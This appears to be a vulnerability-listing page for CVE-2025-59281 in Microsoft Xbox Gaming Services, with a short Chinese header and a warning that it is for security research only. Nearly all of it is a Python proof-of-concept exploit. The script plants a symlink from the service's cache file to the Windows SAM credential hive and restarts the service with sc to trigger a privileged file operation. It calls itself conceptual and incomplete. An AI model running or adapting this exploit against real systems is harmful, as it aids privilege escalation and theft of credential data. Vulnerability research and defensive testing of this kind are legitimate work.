Microsoft Xbox Gaming Services（适用于Windows 10及Windows 11的各版本，具体受影响的内部版本号请参考微软官方安全公告）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59281 - Xbox Gaming Services Link Following LPE PoC (Conceptual)
# Note: This is a conceptual demonstration of the link following attack pattern.
# Actual exploitation requires specific knowledge of the vulnerable file paths used by Xbox Gaming Services.
import os
import sys
import time
import ctypes
import subprocess
TARGET_SERVICE = "XboxGamingSvc"
VULNERABLE_PATH = r"C:\ProgramData\Microsoft\XboxGamingSvc\cache.dat"
PRIVILEGED_FILE = r"C:\Windows\System32\config\SAM" # Example target for privilege escalation
def is_admin():
"""Check if the current process has admin privileges."""
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
def create_malicious_symlink(target, link_path):
"""Create a symbolic link pointing to a privileged file."""
if os.path.exists(link_path):
try:
os.remove(link_path)
except:
pass
try:
# Windows requires SeCreateSymbolicLinkPrivilege or Developer Mode
os.symlink(target, link_path, target_is_directory=False)
print(f"[+] Symlink created: {link_path} -> {target}")
return True
except OSError as e:
print(f"[-] Failed to create symlink: {e}")
return False
def trigger_service_action():
"""Trigger Xbox Gaming Services to perform file operation on the symlink."""
# Restart the Xbox Gaming Services service to trigger file operations
# This requires the service to process the maliciously linked file
print("[*] Triggering Xbox Gaming Services file operation...")
try:
# Attempt to trigger service restart or file operation
subprocess.run(
["sc", "stop", TARGET_SERVICE],
capture_output=True, timeout=30
)
time.sleep(2)
subprocess.run(
["sc", "start", TARGET_SERVICE],
capture_output=True, timeout=30
)
print("[+] Service action triggered")
except Exception as e:
print(f"[-] Error triggering service: {e}")
def exploit():
"""Main exploit function for link following privilege escalation."""
print(f"[*] CVE-2025-59281 - Xbox Gaming Services LPE Exploit")
print(f"[*] Current privilege level: {'Admin' if is_admin() else 'User'}")
# Step 1: Create the malicious symlink in the service's writable directory
if not create_malicious_symlink(PRIVILEGED_FILE, VULNERABLE_PATH):
print("[-] Exploit failed: Cannot create symlink")
sys.exit(1)
# Step 2: Trigger the service to perform the file operation
trigger_service_action()
# Step 3: Check if the privileged file was modified/read
print("[*] Exploit attempt completed")
print("[*] Check if privilege escalation was successful")
if __name__ == "__main__":
exploit()